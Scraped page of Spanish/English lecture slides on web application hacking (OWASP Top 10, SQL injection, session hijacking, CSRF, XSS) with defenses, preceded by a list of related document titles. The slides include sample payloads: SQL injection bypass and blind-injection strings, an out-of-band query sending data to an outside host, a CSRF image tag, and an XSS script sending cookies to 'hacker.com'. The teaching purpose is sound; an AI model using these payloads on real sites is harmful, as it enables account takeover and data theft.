Hacking de aplicaciones Web



Similar documents
Magento Security and Vulnerabilities. Roman Stepanov

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Where every interaction matters.

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Web Application Security

Intrusion detection for web applications

Hack Proof Your Webapps

Web application security

Check list for web developers

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

(WAPT) Web Application Penetration Testing

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

OWASP TOP 10 ILIA

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso

Criteria for web application security check. Version

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

The Top Web Application Attacks: Are you vulnerable?

Still Aren't Doing. Frank Kim

A Survey on Security and Vulnerabilities of Web Application

Annex B - Content Management System (CMS) Qualifying Procedure

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Web Application Attacks And WAF Evasion

What is Web Security? Motivation

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Essential IT Security Testing

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

Web Application Penetration Testing

Adobe Systems Incorporated

OWASP AND APPLICATION SECURITY

Sichere Software- Entwicklung für Java Entwickler

Advanced Security for Systems Engineering VO 01: Web Application Security

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Web Application Security

Members of the UK cyber security forum. Soteria Health Check. A Cyber Security Health Check for SAP systems

OWASP Top Ten Tools and Tactics

With so many web applications, universities have a huge attack surface often without the IT security budgets or influence to back it up.

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia

DIPLOMA IN WEBDEVELOPMENT

Hacking the WordpressEcosystem

Web Application Security

Early Vulnerability Detection for Supporting Secure Programming

Enterprise Application Security Workshop Series

How To Fix A Web Application Security Vulnerability

Testing the OWASP Top 10 Security Issues

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Web-Application Security

Sichere Webanwendungen mit Java

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Secure development and the SDLC. Presented By Jerry

Security Testing with Selenium

Web Application Guidelines

Ethical Hacking as a Professional Penetration Testing Technique

Columbia University Web Security Standards and Practices. Objective and Scope

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

WebCruiser Web Vulnerability Scanner User Guide

Excellence Doesn t Need a Certificate. Be an. Believe in You AMIGOSEC Consulting Private Limited

Sitefinity Security and Best Practices

Pentests more than just using the proper tools

Software Assurance Tools: Web Application Security Scanner Functional Specification Version 1.0

CTF Web Security Training. Engin Kirda

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Insight into web application security and why you should care about it

Application Security Vulnerabilities, Mitigation, and Consequences

SQuAD: Application Security Testing

Cyber Security Challenge Australia 2014

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Smart (and safe) Lighting:

CS 558 Internet Systems and Technologies

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Executive Summary On IronWASP

Security vulnerabilities in new web applications. Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Overview of the Penetration Test Implementation and Service. Peter Kanters

Hack-proof Your Drupal App. Key Habits of Secure Drupal Coding

Web Application Security Considerations

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

Network Security Exercise #8

Web Application Report

Penetration Test Report

Cross Site Scripting in Joomla Acajoom Component

Architecture of a new DDoS and Web attack Mitigation System for Data Center

Cloud Security Framework (CSF): Gap Analysis & Roadmap

Auditing Web Applications

A Survey on Threats and Vulnerabilities of Web Services

Web Application Firewalls Evaluation and Analysis. University of Amsterdam System & Network Engineering MSc

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Transcription:

HACKING SCHOOL Hacking de aplicaciones Web Gabriel Maciá Fernández Fundamentos de la web CLIENTE SERVIDOR BROWSER HTTP WEB SERVER DATOS PRIVADOS BASE DE DATOS 1

Interacción con servidores web URLs http://gmacia:pass@www.ugr.es:80/descarga.php?file=prueba.txt Esquema Autoridad: servidor (consulta DNS) Camino Argumentos Interacción con servidores web 2

WEB APPLICATION ATTACKS OWASP Brief history OWASP Top 10 2013 1. Injection 2. Broken authentication and session management 3. Cross Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration 6. Sensitive Data Exposure 7. Missing Function Level Access Control 8. Cross Site Request Forgery 9. Using components with known vulnerabilities 10. Unvalidate Redirects and Forwards 3

INJECTION ATTACKS Injection attacks Fundamento: datos no confiables son enviados a un intérprete como parte de un comando o consulta. Algunos tipos: SQL injection LDAP injection Command injection Hibernate injection XPATH injection Local File Inclusion (LFI) Remote File Inclusion (RFI) 4

SQL (Standard Query Language) Nombre Email Password Gabriel gmacia@ugr.es J3oldgs23 Juan juan@ugr.es Sdwe3342& Luis luis@ugr.es 34s3gsd23 SELECT email FROM Users WHERE nombre = Gabriel ; UPDATE Users SET email= juan@correo.ugr.es WHERE nombre= Juan ; Comentario INSERT INTO Users Values ( Pepe, pepe@correo.ugr.es, 34Sgerud ); DROP TABLE Users; 5

Código en el servidor Login code (PHP) $result = mysql_query ( select * from Users where (name= $user and password= $pass ); ); SQL injection Gabriel OR 1=1); -- $result = mysql_query ( select * from Users where (name= Gabriel OR 1=1); -- password= $quemasda ) ); 6

Lo probamos? Other attack techniques SELECT field1, field2, field3 FROM Users WHERE Id='$Id' Boolean exploitation $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 Error based exploitation INPUT: id=10 UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) ) OUTPUT: ORA 292257: host SCOTT unknown 7

Other attack techniques Out of Band exploitation INPUT: id=10 UTL_HTTP.request( testerserver.com:80 (SELECT user FROM DUAL) OUTPUT: /home/tester/nc nlp 80 GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close Time delay exploitation id=10 AND IF(version() like 5%, sleep(10), false )) 8

SQL Injection defenses (I) Input Valition (Sanitize your inputs) Blacklisting Delete the characters you do not want. E.g. ; Downside: John O Connor Escaping Replace problematic characters with safe ones Change to \ Libs to do this Whitelisting E.g. Integer with the right range SQL Injection defenses (II) Prepared statements Decouple the code and the data $result = mysql_query ( select * from Users where (name= $user and password= $pass ); ); $db = new mysql ( localhost, user, pass, DB ); $query = $db->prepare( select * from Users where (name=? and password=?); ); $query->bind_param( ss, $user, $pass); $query->execute(); 9

SQL Injection defenses (III) Mitigation strategies Limit privileges Encrypt sensitive data CreditCardsTable userpasswords SESSION HIJACKING ATTACKS 10

Stateful HTTP HTTP is stateless Cookies for implementing statefulness Session Hijacking Knowing a cookie gives you access with the privileges of the user that established that session How to steal session cookies Compromise the server or user s machine/browser Predict it based on other information Sniff the network DNS cache poisoning Trick the user into thinking you are LinkedIn The user will send you the cookie Network basedattacks 11

Lo probamos? Unpredictability Defenses Random and long cookies Time out sessions and delete tokens IP Address check (Doubtful defense) Maybe problematic Change of IP due to DHCP, WIFI to 3G Same IP for NAT boxes 12

CROSS SITE REQUEST FORGERY (CSRF) ATTACKS Imagine that Fundaments A user is logged in with an active session cookie This request is issued http://banco.com/transfer?cant=6000&a=hacker How could you get a user to visit this link? 13

CSRF attack <img src=http://banco.com/transfer?cant=6000&a=hacker> hacker.com Cookie browser $$$ banco.com Defenses Using REFERER field Problems: Referer is optional Attacker can force referer not to be sent Man in the middle Browser vulnerability Bounce user off of a page as: ftp://page Using secretized links http://website.com/algo.html?sid=81sdgs234e 14

CROSS SITE SCRIPTING (XSS) ATTACKS Same origin policy JavaScript enables Web 2.0 Modify web pages (DOM) Track Events Issue web requests and maintain connections (AJAX) Read and set cookies Browsers provide isolation for javascript scripts via the Same Origin Policy Only Scripts received from a web page s origin have access to the page s elements 15

Stored XSS attack GET http://banco.com/roba?c=document.cookie hacker.com browser 4 Ejecuta el script Como si el servidor nos lo hubiera solicitado 1 Inyecta script malicioso banco.com GET http://banco.com/transfer?cant=6000&a=hacker Reflected XSS attack hacker.com browser URL especialmente construida para el ataque 5 Ejecuta el script Como si el servidor nos lo hubiera solicitado banco.com 16

Echo of user input The key: finding situations where a server echoes the user input back in the HTML response Example: GET http://victim.com/search.php?term=guitars Result from victim.com: <html> <title> Search results </title> <body> Results for guitars: </body></html> Exploiting echoed input http://victim.com/search.php?term= <script> window.open( http://hacker.com/steal?c= + document.cookie) </script> Result from victim.com: <html> <title> Search results </title> <body> Results for <script> </script>: </body></html> 17

Lo probamos? Defenses Sanitizing: remove executable portions of user provided input Done on many blogs. E.g. wordpress https://wordpress.org/plugins/html purified/ Black list vs White list 18

El reto Thanks for your attention Thanks to: Michael Hicks for its nice examples about web attacks 19